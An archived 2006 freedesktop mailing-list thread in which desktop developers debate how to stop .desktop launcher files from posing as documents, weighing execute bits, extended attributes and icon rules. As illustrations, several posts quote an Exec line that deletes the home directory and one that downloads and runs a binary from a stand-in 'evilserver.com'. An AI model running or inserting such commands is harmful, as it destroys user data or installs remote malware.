Subject: Security issue with .desktop files revisited
From: Mike Hearn
Date: 2006-03-23 05:13:09
A while ago it was discussed how .desktop files made us vulnerable to the
same problems Windows and OS X have had with executable files pretending
to be data files. At the time nothing was done, as it was a theoretical
possibility. One enterprising hacker (Peter Lund) has now managed to make
a .desktop file which is simultaneously a valid shell script, in other
words, you can put any code you like in it and it'll run without any
network access. Such a .desktop file can appear to be anything you want
such as a JPEG image.
At the time I suggested we change the spec so that .desktop files which
would execute a program when clicked cannot use mime type icons. This
would cause minimal breakage, because mime type icons are totally
un-specified anyway right now and so very few programs actually ship them.
There's also few legit reasons why a program would be using a MIME type
icon as its primary icon.
Does this plan sound OK to people?
thanks -mike
From: Thiago Macieira
Date: 2006-03-23 11:06:56
Mike Hearn wrote:
>On Thu, 23 Mar 2006 17:55:26 +0100, Thiago Macieira wrote:
>> I don't see how it is any different from .desktop files with:
>> Exec=/bin/sh -c 'cd ; rm -rf *'
>> (don't run that!)
>
>It's not really, except you can write longer programs and even run
>arbitrary ELF programs too.
The possibility of embedding one format inside another while both are
still completely valid exists for many other formats. You can find many
examples out there that do that. Doing so for .desktop files is no
surprise.
>Perhaps a more complicated system would work better ... +x bit is only
>needed if the Exec line does not contain an absolute path?
The example could be written to call Exec=sh ....
instead of Exec=/bin/sh -c ...
This doesn't help at all.
>> If we require the latter to be executable, why not the former?
>
>Well, I was never convinced the +x bit was a good idea, problem is that
> if it's off this doesn't give the user any information they didn't
> already know. So why would they change their decision? They double
> clicked it, right? The best you could do is some kind of warning, "This
> file is a program. If you continue, it may do anything you can do. Only
> proceed if you trust the origin of this file." But people often ignore
> or click through such warnings without really considering them.
This warning would show up for each and every .desktop file that the user
clicked on, on the file manager and on the desktop. It would be really
annoying to click on your mail program on your desktop and get a
warning "you clicked on an icon that runs a program. Do you want to run
the program?"
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Aaron J. Seigo
Date: 2006-03-23 08:09:12
On Thursday 23 March 2006 06:13, Mike Hearn wrote:
> possibility. One enterprising hacker (Peter Lund) has now managed to make
> a .desktop file which is simultaneously a valid shell script, in other
> words, you can put any code you like in it and it'll run without any
> network access. Such a .desktop file can appear to be anything you want
> such as a JPEG image.
is there such an example .desktop file we can get our hands on to look at,
test and assess the situation directly?
> At the time I suggested we change the spec so that .desktop files which
> would execute a program when clicked cannot use mime type icons. This
> would cause minimal breakage, because mime type icons are totally
> un-specified anyway right now and so very few programs actually ship them.
> There's also few legit reasons why a program would be using a MIME type
> icon as its primary icon.
what prevents a malicious .desktop file from using any of the other icons we
ship and pretending to be something else? looking through just the
Application icons i have on disk here, any number of them could be used to
pretend to be a movie, an mp3, a word processing document .....
--
Aaron J. Seigo
GPG Fingerprint: 8B8B 2209 0C6F 7C47 B1EA EE75 D6B7 2EB1 A7F1 DB43
Full time KDE developer sponsored by Trolltech (http://www.trolltech.com)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Carsten Haitzler (The Rasterman
Date: 2006-03-23 18:01:15
On Thu, 23 Mar 2006 17:42:09 +0000 Mike Hearn babbled:
> On Thu, 23 Mar 2006 17:55:26 +0100, Thiago Macieira wrote:
> > I don't see how it is any different from .desktop files with:
> > Exec=/bin/sh -c 'cd ; rm -rf *'
> > (don't run that!)
>
> It's not really, except you can write longer programs and even run
> arbitrary ELF programs too.
>
> > It looks like the best alternative.
> >
> > But why should we require users to go the properties and turn it
> > executable? If you've got a legitimate .desktop file, it already follows
> > the guidelines, which may include being executable or not.
>
> Well, this guideline doesn't exist yet, so no .desktop files will have
> it. And those programs out there that make .desktop files (on the users
> desktop for instance) will break.
>
> Perhaps a more complicated system would work better ... +x bit is only
> needed if the Exec line does not contain an absolute path?
personally i see this as a moot point. i agree - .desktop files run stuff. \
expect them to. if u don't trust them - inspect them. it's a matter of trust in \
the end. next peopke will say source tarballs are a security risk because to \
compile u run ./configure which is a non-trivial shell script (basically \
impossible to double check to see its ok) and then produce programs that can be \
equally evil.
i do see though the use for a "caution" lump of code. inspect the exec \
field on load - if its a simple "executable" name (or full path) (ie \
is is just a full path to an already existing executable, OR its n executable IN \
your path already) and NOTHING else - then it should be left just as is. if it \
contains any shell meta char ($ | % etc. etc.) instantly put a warning flag on \
the icon "something fishy here" UNTIL the user OKAYS the file (they \
inspect the exec line and say it's ok). you can get fancier by maybe allowing up \
to 1 or 2 command parameters to the executable as long as they are simple etc. \
etc. and match some accepted norm. maybe this might be an intermediate \
"dodgey" stage which is normally ok 99% of the time. anyway - this is \
not a matter i think for the .desktop format or spec to handle - but apps on top \
to implement a users preference in security paranoia and then indicate thins it \
KNOWS are perfectly safe, vs things that may or may not be and you have okay'ed \
or not.
> > If we require the latter to be executable, why not the former?
>
> Well, I was never convinced the +x bit was a good idea, problem is that if
> it's off this doesn't give the user any information they didn't already
> know. So why would they change their decision? They double clicked it,
> right? The best you could do is some kind of warning, "This file is a
> program. If you continue, it may do anything you can do. Only proceed if
> you trust the origin of this file." But people often ignore or click
> through such warnings without really considering them.
>
> thanks -mike
>
> _______________________________________________
> xdg mailing list
> <email removed>
> http://lists.freedesktop.org/mailman/listinfo/xdg
>
--
------------- Codito, ergo sum - "I code, therefore I am" --------------
The Rasterman (Carsten Haitzler) <email removed>
???
Tokyo, Japan (?? ??)
From: Mike Hearn
Date: 2006-03-23 08:36:34
On Thu, 23 Mar 2006 09:05:32 -0700, Aaron J. Seigo wrote:
> is there such an example .desktop file we can get our hands on to look at,
> test and assess the situation directly?
http://article.gmane.org/gmane.comp.aut … devel/4671
> what prevents a malicious .desktop file from using any of the other icons we
> ship and pretending to be something else? looking through just the
> Application icons i have on disk here, any number of them could be used to
> pretend to be a movie, an mp3, a word processing document .....
Well, nothing I guess, but if it looks like an application icon
at least the user might expect it to do run something when clicked. MIME
type icons are usually recognisable in most icon themes by having a paper
background, it's a simple enough heuristic.
I'm open to alternative ideas though. An emblem for executable .desktop
files? That'd kinda suck though, I have a bunch of launchers on my desktop
and don't really want them cluttered up with some intrusive overlay. I
already know they're executable!
Requiring them to be +x was another alternative, but it breaks backwards
compatibility with some non-trivial number of deployed apps. And the
usability implications of requiring users to go to properties and check a
weird box are not good (it's like warning dialog fatigue i think ...)
From: Thiago Macieira
Date: 2006-03-23 08:55:29
Mike Hearn wrote:
>On Thu, 23 Mar 2006 09:05:32 -0700, Aaron J. Seigo wrote:
>> is there such an example .desktop file we can get our hands on to look
>> at, test and assess the situation directly?
>
>http://article.gmane.org/gmane.comp.autopackage.devel/4671
I don't see how it is any different from .desktop files with:
Exec=/bin/sh -c 'cd ; rm -rf *'
(don't run that!)
>Well, nothing I guess, but if it looks like an application icon
>at least the user might expect it to do run something when clicked.
It is what this file does. It does something.
As long as we allow running a .desktop file, this problem will be there.
>Requiring them to be +x was another alternative, but it breaks backwards
>compatibility with some non-trivial number of deployed apps. And the
>usability implications of requiring users to go to properties and check
> a weird box are not good (it's like warning dialog fatigue i think ...)
It looks like the best alternative.
But why should we require users to go the properties and turn it
executable? If you've got a legitimate .desktop file, it already follows
the guidelines, which may include being executable or not.
If you've downloaded something and saved to disk, then having the hassle
of actually going into the properties and turning it executable should be
the user's way of saying, "I downloaded this thing and now I want to run
it". This is how it works right now for shell scripts.
You could think of a .desktop file with
[Desktop Entry]
Exec=appname
Icon=appicon
Comment=Click me!
the same as the shell script:
#!/bin/sh
# Icon: appicon
# Comment: click me!
appname
If we require the latter to be executable, why not the former?
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Mike Hearn
Date: 2006-03-23 09:42:21
On Thu, 23 Mar 2006 17:55:26 +0100, Thiago Macieira wrote:
> I don't see how it is any different from .desktop files with:
> Exec=/bin/sh -c 'cd ; rm -rf *'
> (don't run that!)
It's not really, except you can write longer programs and even run
arbitrary ELF programs too.
> It looks like the best alternative.
>
> But why should we require users to go the properties and turn it
> executable? If you've got a legitimate .desktop file, it already follows
> the guidelines, which may include being executable or not.
Well, this guideline doesn't exist yet, so no .desktop files will have
it. And those programs out there that make .desktop files (on the users
desktop for instance) will break.
Perhaps a more complicated system would work better ... +x bit is only
needed if the Exec line does not contain an absolute path?
> If we require the latter to be executable, why not the former?
Well, I was never convinced the +x bit was a good idea, problem is that if
it's off this doesn't give the user any information they didn't already
know. So why would they change their decision? They double clicked it,
right? The best you could do is some kind of warning, "This file is a
program. If you continue, it may do anything you can do. Only proceed if
you trust the origin of this file." But people often ignore or click
through such warnings without really considering them.
thanks -mike
From: Lennon Cook
Date: 2006-03-24 14:14:54
Mike Hearn wrote:
> Only for .desktop files without the +x bit, and that would be set whenever
> a desktop shortcut is created or the user says to continue (ie that it's
> safe).
If a potentially dangerous .desktop file gets through the QA process,
and is installed on an end-user system, it isn't a leap of faith to
think that it could have +x by default.
--
Lennon Victor Cook
"He who receives an idea from me receives without lessening, as he who
lights his candle at mine receives light without darkening" - Thomas
Jefferson
From: Mike Hearn
Date: 2006-03-24 14:24:19
On Sat, 25 Mar 2006 09:13:44 +1100, Lennon Cook wrote:
> If a potentially dangerous .desktop file gets through the QA process,
> and is installed on an end-user system, it isn't a leap of faith to
> think that it could have +x by default.
What QA process? This is supposed to stop viruses that work by tricking
the user into thinking they're a different type of file than they really
are, as we've seen happen on Windows and MacOS X.
From: Lennon Cook
Date: 2006-03-24 15:21:33
On 3/25/06, Mike Hearn wrote:
> What QA process? This is supposed to stop viruses that work by tricking
> the user into thinking they're a different type of file than they really
> are, as we've seen happen on Windows and MacOS X.
Sorry, misunderstood - I was thinking that a) it would be unlikely to
have only a .desktop file up for download, and b) therefore, this
would apply to installed apps (most likely via the distro), which one
hopes would go through QA. Sorry for the noise.
--
Lennon Victor Cook
"He who receives an idea from me receives without lessening, as he who
lights his candle at mine receives light without darkening" - Thomas
Jefferson
From: Mike Hearn
Date: 2006-03-24 04:16:30
On Thu, 23 Mar 2006 20:06:54 +0100, Thiago Macieira wrote:
> The possibility of embedding one format inside another while both are
> still completely valid exists for many other formats. You can find many
> examples out there that do that. Doing so for .desktop files is no
> surprise.
Hm, OK. I admit this is the first time I've seen such a thing. Still it's
a good excuse to raise the issue again :)
> This doesn't help at all.
Right. The intention was more something like "if it links to a program
already installed on the system don't warn, otherwise do" but that
implementation is not good enough.
> This warning would show up for each and every .desktop file that the
> user clicked on, on the file manager and on the desktop. It would be
> really annoying to click on your mail program on your desktop and get a
> warning "you clicked on an icon that runs a program. Do you want to run
> the program?"
Only for .desktop files without the +x bit, and that would be set whenever
a desktop shortcut is created or the user says to continue (ie that it's
safe).
So yeah it's not ideal but it wouldn't pop up each time.
That said, given that most icon themes distinguish between
document-type-things that users have been trained to treat as safe and
application-type-things that users have been told are unsafe, the mime
icon change might help a bit. Other ideas don't seem to have much more
support....
thanks -mike
From: Lennon Cook
Date: 2006-03-24 14:14:20
Mike Hearn wrote:
> Only for .desktop files without the +x bit, and that would be set whenever
> a desktop shortcut is created or the user says to continue (ie that it's
> safe).
If a potentially dangerous .desktop file gets through the QA process,
and is installed on an end-user system, it isn't a leap of faith to
think that it could have +x by default.
--
Lennon Victor Cook
"He who receives an idea from me receives without lessening, as he who
lights his candle at mine receives light without darkening" - Thomas
Jefferson
From: Mike Hearn
Date: 2006-03-25 05:14:28
On Sat, 25 Mar 2006 10:56:00 +0000, Thomas Leonard wrote:
> ROX-Filer shows .desktop files (and anything else it will execute if
> clicked) with a different text colour, but leaves the icon alone.
That's the sort of thing we want, I think, but does it really work? Have
you tested it on people to see if they are suspicious of a different
coloured thing that looks like a jpeg image file?
From: Thomas Leonard
Date: 2006-03-25 10:42:04
On Sat, 25 Mar 2006 13:14:51 +0000, Mike Hearn wrote:
> On Sat, 25 Mar 2006 10:56:00 +0000, Thomas Leonard wrote:
>> ROX-Filer shows .desktop files (and anything else it will execute if
>> clicked) with a different text colour, but leaves the icon alone.
>
> That's the sort of thing we want, I think, but does it really work? Have
> you tested it on people to see if they are suspicious of a different
> coloured thing that looks like a jpeg image file?
Back before MIME-type inheritance let us work out what MIME types can
never be executed, we used to try to execute anything with the X bit set
(even JPEGs ;-). I would certainly notice if one was on a DOS format
media with the X bit set before clicking on it.
Whether normal users would notice (or care) I don't know. Also, it
probably helps that ROX users are used to using the filer to run programs
(so they get used to the colour scheme). If you normally run programs
using a start menu, you might notice something was different, but not
know what it meant.
--
Dr Thomas Leonard http://rox.sourceforge.net
GPG: 9242 9807 C985 3C07 44A6 8B9A AE07 8280 59A5 3CC1
From: Thomas Leonard
Date: 2006-03-25 02:55:37
On Thu, 23 Mar 2006 16:36:39 +0000, Mike Hearn wrote:
> On Thu, 23 Mar 2006 09:05:32 -0700, Aaron J. Seigo wrote:
[...]
>> what prevents a malicious .desktop file from using any of the other \
icons we
>> ship and pretending to be something else? looking through just the
>> Application icons i have on disk here, any number of them could be used to
>> pretend to be a movie, an mp3, a word processing document .....
>
> Well, nothing I guess, but if it looks like an application icon
> at least the user might expect it to do run something when clicked. MIME
> type icons are usually recognisable in most icon themes by having a paper
> background, it's a simple enough heuristic.
>
> I'm open to alternative ideas though. An emblem for executable .desktop
> files? That'd kinda suck though, I have a bunch of launchers on my desktop
> and don't really want them cluttered up with some intrusive overlay. I
> already know they're executable!
ROX-Filer shows .desktop files (and anything else it will execute if
clicked) with a different text colour, but leaves the icon alone.
--
Dr Thomas Leonard http://rox.sourceforge.net
GPG: 9242 9807 C985 3C07 44A6 8B9A AE07 8280 59A5 3CC1
From: Mike Hearn
Date: 2006-03-28 09:15:41
Francois Gouget wrote:
> At least Windows does not require Firefox to know about .lnk, .cmd and
> .pif files.
No, and a marking scheme doesn't _require_ anything to be updated. It's
a nice-to-have-but-not-essential feature.
> First, who said that worm writers are not allowed to call their ELF
> creations 'myworm.desktop'?
They can call an ELF file whatever they like, but such a file will be
represented by the desktop environment as a program and not anything
else, so it's not an issue.
To reiterate, the security problem here is that something which is a
program can make itself look like a document by using a .desktop file.
Some modification to the spec or additional metadata can be used to give
hints to the user that all is not what it seems, and the +x bit is being
suggested only because EA support is not fully baked yet. The fact that
+x bits have some other meaning for shell scripts and ELF files isn't
related ..... the .desktop file that is also a shell script will be
treated as a .desktop file by the desktop environment as that's what it
will match on using the MIME sniffers (and if it doesn't then the file
will be represented as a program so there is no problem).
thanks -mike
From: Mike Hearn
Date: 2006-03-28 08:02:01
Francois Gouget wrote:
> Right. So now tools like wget (and shells, see below) have to know
> about KDE/Gnome internal concepts like desktop files! And you
> criticize Windows design?
Not really, anything is better than nothing - does Firefox set the
"unsafe" EA on Windows? I don't know but I doubt it, yet it's no real
problem. The hint can be added in future. So wget doesn't "have" to
know, it could know, if people wanted that, but then from the command
line you can always see what a file really is - and the problem that
started this thread off is that KDE and GNOME can represent a .desktop
file as pretty much any kind of file (jpeg, ms word doc, whatever).
> It's not just unintuitive, it's dangerous and unsecure too. By
> dictating that tools that download file must mark .desktop files as
> executable you have just removed the one thing that prevents nasty
> .desktop files like the one you mentioned from being executed on the
> command line!
You can't execute .desktop files even if they are marked as +x from the
command line, as there is no binfmt handler for them.
thanks -mike
From: Mike Hearn
Date: 2006-03-28 07:00:44
Francois Gouget wrote:
> Well, in my proposal, only untrusted files need the untrusted EA bit
> set. So backward compatibility is not broken.
Right, I'm just exploring ways to achieve that without requiring EAs.
> Surely, requiring that web browsers and email tools make all the files
> they save executable cannot be good for security...
Only .desktop files, and right now +x on such a file is meaningless anyway.
> Which is kind of the opposite of its normal meaning which can be taken
> to be 'I trust this file enough that I am willing to execute it'.
>
Yes, it's unintuitive to reverse the meaning like that, but it does have
the advantage of not requiring EAs (which don't travel through standard
tarballs, network filing systems) and not breaking backwards compatibility.
From: Dave Cridland
Date: 2006-03-28 11:47:58
On Tue Mar 28 20:40:46 2006, Francois Gouget wrote:
> I was thinking more of something along the lines of
> '#!/usr/bin/run_desktop_file'. Desktop files are equivalent to
> shell scripts anyway. The only thing missing is that one cannot use
> them transparently because exec() does not know what to do with
> them. This limits their use to a few Freeesktop-aware applications.
> Adding the above line and making _trusted_ desktop files executable
> would fix this oversight.
Hmmm... Of course, "launching" a desktop file could be done by simply
executing it, then, which makes quite a bit of sense.
Dave.
--
You see things; and you say "Why?"
But I dream things that never were; and I say "Why not?"
- George Bernard Shaw
From: Joerg Barfurth
Date: 2006-03-28 04:57:09
Thiago Macieira wrote:
> We could abuse the sticky bit for that. What's also interesting, it would
> show a "t" or "T" in the output of ls -l.
>
> It has no effect on text files on Linux, nor on executables. However, the
> man page for "chmod" says that, on some systems, only the \
superuser can
> set the sticky bit. Does anyone know what such systems might be?
>
From Solaris man-pages:
chmod(1):
[...] Only the super-user may
set the sticky bit on a non-directory file.
If you are not super-user, chmod will mask
the sticky-bit but will not return an error.
chmod(2):
If the process is not a privileged process and the file is
not a directory, mode bit 01000 (save text image on execu-
tion) is cleared.
[...]
If a regular file is not executable and has S_ISVTX set, the
file is assumed to be a swap file. In this case, the
system's page cache will not be used to hold the file's
data. If the S_ISVTX bit is set on any other file, the
results are unspecified.
So neither does this bit have no effect, nor can it be set by ordinary
users.
I'd assume other Unixes with a common ancestor would behave similarly.
- J?rg
--
Joerg Barfurth phone: +49 40 23646662 / x66662
Software Engineer mailto:<email removed>
Desktop Technology http://reserv.ireland/twiki/bin/view/Argus/
Thin Client Software http://www.sun.com/software/sunray/
Sun Microsystems GmbH http://www.sun.com/software/javadesktopsystem/
From: Thiago Macieira
Date: 2006-03-28 10:16:41
Francois Gouget wrote:
>Now if desktop files were to start with '#!/usr/bin/whatever', then
>making the trusted ones executable could make sense.
#!/bin/false
There's also the sticky bit.
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Francois Gouget
Date: 2006-03-28 08:02:04
Mike Hearn wrote:
[...]
> right now +x on such a file is meaningless anyway.
One more thing, the above remark is in fact pretty insightful: normal
desktop files are not programs, neither of the shell or of the ELF kind.
They are data files. Running them does not work. Only malicious desktop
files can actually be run when marked +x.
Marking a large number of non-runnable data files as executables for
whatever reason cannot be a good idea:
* When a user sees a file called 'foo.desktop' that is executable then
he rightly expects './foo.desktop' to do something meaningful. Marking
desktop files +x breaks this expectation which in the best case is going
to lead to lots of support questions.
* It also leds to confusion as to exactly what the +x bit means.
* It would be very much akin to marking jpeg files as executable to
prevent some of them from exploiting buffer overflows in graphics programs.
Now if desktop files were to start with '#!/usr/bin/whatever', then
making the trusted ones executable could make sense.
--
Francois Gouget
<email removed>
From: Francois Gouget
Date: 2006-03-28 07:13:49
Dave Cridland wrote:
[...]
> You're certainly right in thinking this is a good solution, but it's not
> one open to us, because not everywhere has extended attributes just yet.
Well, as with MAC security, this will indeed take time to put in place.
But planning ahead is good.
If a short term solution is really needed, then requiring .desktop files
to have the execute bit set in order to run seems to be the only
meaningful and sane solution. But even putting that in place will take
some time...
--
Francois Gouget
<email removed>
From: Rodney Dawes
Date: 2006-03-28 20:53:58
What I don't get is why we're trying to solve it only for .desktop
files. It's a problem for all file types. For .desktop files, we should
just make the spec more explicit on how things should get executed, and
how to validate the Exec= line. Clearly we can't just check that there
are arguments in the .desktop file. One of the nice things about the
current spec, is that it has argument passing, so you can for example,
just drag a file onto a .desktop file launcher for a program, to open
the file in that program. Simply requiring +x isn't going to solve
anything. It may not be preserved through straight web downloads, but
gzip will preserve permissions. So you could ship malicious .desktop
files, compressed with gzip, and require the user to uncompress them
to use them. Or better yet, you can just have a .shar file, or
autopackage script.
Can we work on coming up with a more general solution for this, rather
than concentrating on .desktop files? We really need to apply a solution
for the problem on a much broader scope. The current "solution" in
nautilus really sucks, and won't let me even open valid files, where the
extension disagrees with the data mime type discovery. Perhaps this is
fixed, or at least works better with the new shared-mime-info or in the
latest Nautilus, but I haven't tried much yet. Also, the dialog it
produces when there is a MIME type disagreement is long and scary. We
shouldn't do that unless we know for sure there is a problem.
-- dobey
On Tue, 2006-03-28 at 20:18 +0200, Thiago Macieira wrote:
> Ludwig Nussel wrote:
> >I wonder why desktop files get 'executed' at all. Only the programs
> >that display the desktop and the menu need to run what's described
> >in a desktop file. For everything else the default action could be
> >just like the one for text/plain, ie launch an editor.
>
> The desktop and the file manager are usually the same backend. And if you
> were to browse to ~/Desktop in your filemanager, wouldn't you want to be
> able to click on your shortcuts?
From: Mike Hearn
Date: 2006-03-28 05:59:22
Francois Gouget wrote:
> So in the above scenario, when the user downloads the rogue '.desktop'
> file to his desktop, that file will be tagged as 'untrusted'. Then,
> clicking on it would warn the user before running it. .desktop files
> shipped with the distribution would not have the 'untrusted' bit and
> thus would not issue this warning. Also, this warning could be
> selectively issued only for .desktop and 'executable' files, and not
> if the file is merely a simple jpeg. But that could be configurable
> and a 'paranoid' setting would warn for all untrusted files (in case
> they are designed to trigger buffer overflows).
>
> Such a solution requires quite a bit of work and time to be
> implemented but then I think any solution to this problem do.
Yes, this is a variant on the +x bit marks a file as trusted.
Here's an idea - the problem with requiring an EA or +x to be set is it
breaks backwards compatibility (it'd break Crossover/Wine for one ...).
But what if the logic is inverted - so the absence of +x means a file is
trusted, and web browsers or email programs set +x when they save a file
to disk? The +x bit on a .desktop file in the users home dir is then
treated as a "don't trust" marker. This doesn't break backwards
compatibility and only requires that web browsers and email programs be
patched.
I'd still be happier with some solution that prevented a .desktop file
masquerading as a JPEG file, but anything is better than nothing ...
From: Thiago Macieira
Date: 2006-03-28 10:18:13
Ludwig Nussel wrote:
>I wonder why desktop files get 'executed' at all. Only the programs
>that display the desktop and the menu need to run what's described
>in a desktop file. For everything else the default action could be
>just like the one for text/plain, ie launch an editor.
The desktop and the file manager are usually the same backend. And if you
were to browse to ~/Desktop in your filemanager, wouldn't you want to be
able to click on your shortcuts?
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Francois Gouget
Date: 2006-03-28 01:32:37
Mike Hearn wrote:
> On Thu, 23 Mar 2006 17:55:26 +0100, Thiago Macieira wrote:
>
>>I don't see how it is any different from .desktop files with:
>>Exec=/bin/sh -c 'cd ; rm -rf *'
>>(don't run that!)
>
> It's not really, except you can write longer programs and even run
> arbitrary ELF programs too.
Not even. First KDE, at least, lets you specify multiple commands
separated by semi-colon so you could drop the 'sh -c':
Exec=/usr/X11R6/bin/xeyes;/usr/X11R6/bin/xeyes
But more importantly a small shell command is all you need to execute
arbitrary code:
Exec=sh -c 'wget -O /tmp/evil http://evilserver.com/evil;chmod u+x
/tmp/evil;/tmp/evil"
Where 'evil' is any arbitrary executable. All that protects you is that
wget might possibly not be installed.
>>It looks like the best alternative.
>>
>>But why should we require users to go the properties and turn it
>>executable? If you've got a legitimate .desktop file, it already follows
>>the guidelines, which may include being executable or not.
If think the solution would be to do like Windows XP SP2 does (or maybe
it is Windows 2003). When you download a file (at least using IE and
depending on your 'zone' settings), it sets some 'extended file
attributes' to tag the file as untrusted. Then when you try to execute
that file, ShellExecute() (maybe CreateProcess() too) warns you that the
file may represent a security risk. If you decide to continue, then it
clears the extended file attribute so you don't get the warning again
and again. That attribute is also copied when you copy or rename the
file (at least I think so, if using the standard OS tools).
What this would mean for Linux:
* ext3 and other filesystems have support for extended attributes so
the basic support is there (though I'm not sure how windely used/stable
extended attributes support is).
* a standard would need to be defined so all involved applications use
the same extended attribute for this purpose
* applications that download stuff from the internet would need to set
that extended attribute. This means Konqueror, Firefox & co,
Thunderbird, Evolution, but, ideally, also wget, etc.
* file managers and desktop shells should warn the user when he tries
to run a file with this 'untrusted' extended attribute.
So in the above scenario, when the user downloads the rogue '.desktop'
file to his desktop, that file will be tagged as 'untrusted'. Then,
clicking on it would warn the user before running it. .desktop files
shipped with the distribution would not have the 'untrusted' bit and
thus would not issue this warning. Also, this warning could be
selectively issued only for .desktop and 'executable' files, and not if
the file is merely a simple jpeg. But that could be configurable and a
'paranoid' setting would warn for all untrusted files (in case they are
designed to trigger buffer overflows).
Such a solution requires quite a bit of work and time to be implemented
but then I think any solution to this problem do.
--
Francois Gouget
<email removed>
From: Liam R E Quin
Date: 2006-03-28 08:31:44
On Tue, 2006-03-28 at 14:57 +0200, Joerg Barfurth wrote:
> From Solaris man-pages:
>
> chmod(1):
> [...] Only the super-user may
> set the sticky bit on a non-directory file.
[...]
> So neither does this bit have no effect, nor can it be set by ordinary
> users.
>
> I'd assume other Unixes with a common ancestor would behave similarly.
Right, although the effect changes between systems. In V7 Unix the
sticky bit on an executable meant it was kept in physical memory and
never swapped out; at one point on SunOS the sticky bit enabled
read-ahead for text files I think, too. In either case it changed
the behaviour of the virtual memory system, and hence could only
be set by root.
With the introduction of demand paging, Unix systems reinterpreted
the sticky bit, but all differently.
Liam
--
Liam Quin - XML Activity Lead, W3C, http://www.w3.org/People/Quin/
Pictures from old books: http://wwwfromoldbooks.org/
XML Blog: http://people.w3.org/~liam/blog/
Liam on the Web at http://www.holoweb.net/~liam/
From: Ludwig Nussel
Date: 2006-03-28 07:31:16
On Thursday 23 March 2006 14:13, Mike Hearn wrote:
> A while ago it was discussed how .desktop files made us vulnerable to the
> same problems Windows and OS X have had with executable files pretending
> to be data files. At the time nothing was done, as it was a theoretical
> possibility. One enterprising hacker (Peter Lund) has now managed to make
> a .desktop file which is simultaneously a valid shell script, in other
> words, you can put any code you like in it and it'll run without any
> network access. Such a .desktop file can appear to be anything you want
> such as a JPEG image.
I wonder why desktop files get 'executed' at all. Only the programs
that display the desktop and the menu need to run what's described
in a desktop file. For everything else the default action could be
just like the one for text/plain, ie launch an editor.
cu
Ludwig
--
(o_ Ludwig Nussel
//\ SUSE LINUX Products GmbH, Development
V_/_ http://www.suse.de/
From: Dave Cridland
Date: 2006-03-28 06:07:04
On Tue Mar 28 13:37:41 2006, Mike Hearn wrote:
> Here's an idea - the problem with requiring an EA or +x to be set
> is it breaks backwards compatibility (it'd break Crossover/Wine for
> one ...). But what if the logic is inverted - so the absence of +x
> means a file is trusted, and web browsers or email programs set +x
> when they save a file to disk? The +x bit on a .desktop file in the
> users home dir is then treated as a "don't trust" marker. This
> doesn't break backwards compatibility and only requires that web
> browsers and email programs be patched.
>
>
There are a lot more browsers and email programs than there are
.desktop interpreters, and moreover the majority of email/browsers
are designed to be cross-platform, so getting the code in there
correctly would be more annoying.
> I'd still be happier with some solution that prevented a .desktop
> file masquerading as a JPEG file, but anything is better than
> nothing ...
>
>
I don't think that requiring +x for .desktop "activation" precludes
marking .desktop files in some special way.
Dave.
--
You see things; and you say "Why?"
But I dream things that never were; and I say "Why not?"
- George Bernard Shaw
From: Francois Gouget
Date: 2006-03-28 11:27:19
Mike Hearn wrote:
[...]
> To reiterate, the security problem here is that something which is a
> program can make itself look like a document by using a .desktop file.
Right, that was the initial problem. But your proposals to use the +x
permission bit to fix it creates a lot more security issues that they
fix. Claiming they are unrelated is ridiculous.
> The fact that +x bits have some other meaning for shell scripts and
> ELF files isn't related .....
The meaning of the +x bit is defined by the exec() Unix system call. It
does not matter to that system call whether the file is a shell script,
an ELF binary or a desktop file. You can say what you want, it *is* related.
When considering security issues you must always consider the whole
system, not just the one small aspect you are interested in. Failure to
do so results in opening more security holes than you plug.
--
Francois Gouget
<email removed>
From: Dave Cridland
Date: 2006-03-28 02:50:30
On Tue Mar 28 10:32:25 2006, Francois Gouget wrote:
> If think the solution would be to do like Windows XP SP2 does (or
> maybe it is Windows 2003). When you download a file (at least using
> IE and depending on your 'zone' settings), it sets some 'extended
> file attributes' to tag the file as untrusted.
You're certainly right in thinking this is a good solution, but it's
not one open to us, because not everywhere has extended attributes
just yet. The only common factor we have to play with on the vast
majority of filesystems is the file mode bits. Basically, the x bit
is currently unused, in effect, by .desktop files, so realistically
this is a poor man's emulation of this.
If people feel that the landscape has changed sufficiently to allow
us to use extended attributes rather than the x bit, then great, but
this came up before and was blocked.
Dave.
--
You see things; and you say "Why?"
But I dream things that never were; and I say "Why not?"
- George Bernard Shaw
From: Francois Gouget
Date: 2006-03-28 08:52:29
Mike Hearn wrote:
> Francois Gouget wrote:
>
>> Right. So now tools like wget (and shells, see below) have to know
>> about KDE/Gnome internal concepts like desktop files! And you
>> criticize Windows design?
>
> Not really, anything is better than nothing - does Firefox set the
> "unsafe" EA on Windows?
At least Windows does not require Firefox to know about .lnk, .cmd and
.pif files.
[...]
